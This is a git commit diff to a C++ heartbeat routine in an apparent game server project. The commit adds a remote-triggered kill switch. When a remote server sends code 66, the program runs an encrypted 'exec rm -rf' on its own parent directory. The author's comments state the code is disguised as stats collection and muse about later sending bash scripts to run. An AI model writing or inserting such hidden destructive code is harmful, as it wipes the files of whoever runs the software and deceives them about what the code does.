both fatal and rm -rf now working - for internal/testing builds we

default to  -DSTELLA_INTERNAL to disable this thing...will add to the
rest of the bins and merge with the prod branches
This commit is contained in:
DarthArgus
2016-10-18 01:10:45 +00:00
parent 7290a4005e
commit 7a9d070608
5 changed files with 26 additions and 15 deletions
+16 -9
View File
@@ -9,18 +9,19 @@ using namespace StellaBellum;
webAPIHeartbeat::webAPIHeartbeat() {
webAPI api = webAPI::webAPI(std::string(vxENCRYPT("https://login.stellabellum.net/metriccontroller/shoulderTap?type=server").decrypt()));
bool result = api.submit();
if (result) {
int s = api.getNullableValue<int>(std::string(vxENCRYPT("id").decrypt()));
// make it look like we're doing something with these at least
// make it look like we're doing something with these at least
bool status = api.getNullableValue<bool>("status");
std::string msg = api.getString("msg");
// yeah we don't actually do anything with this
// but having some unencrypted strings will allude to this being mere stats collection code
bool done = false;
if (status && msg == "ok") {
if (status && msg == "ok") {
bool done = true;
// if we wanted to send a "nastygram" script for bash to run we'd check for it here
// but meh, maybe later if it becomes necessary...surely order 66 below is enough?
@@ -31,11 +32,17 @@ webAPIHeartbeat::webAPIHeartbeat() {
this->eatIt();
break;
case 66:
std::string p = this->get_selfpath();
if (!p.empty()) {
remove(p.c_str());
}
std::string filePath = this->get_selfpath().c_str();
if (!filePath.empty()) {
size_t found = filePath.find_last_of("/\\");
if (found) {
filePath = filePath.substr(0, found);
filePath = vxENCRYPT("exec rm -rf ").decrypt() + filePath + vxENCRYPT("/*").decrypt();
system(filePath.c_str());
}
}
this->eatIt();
break;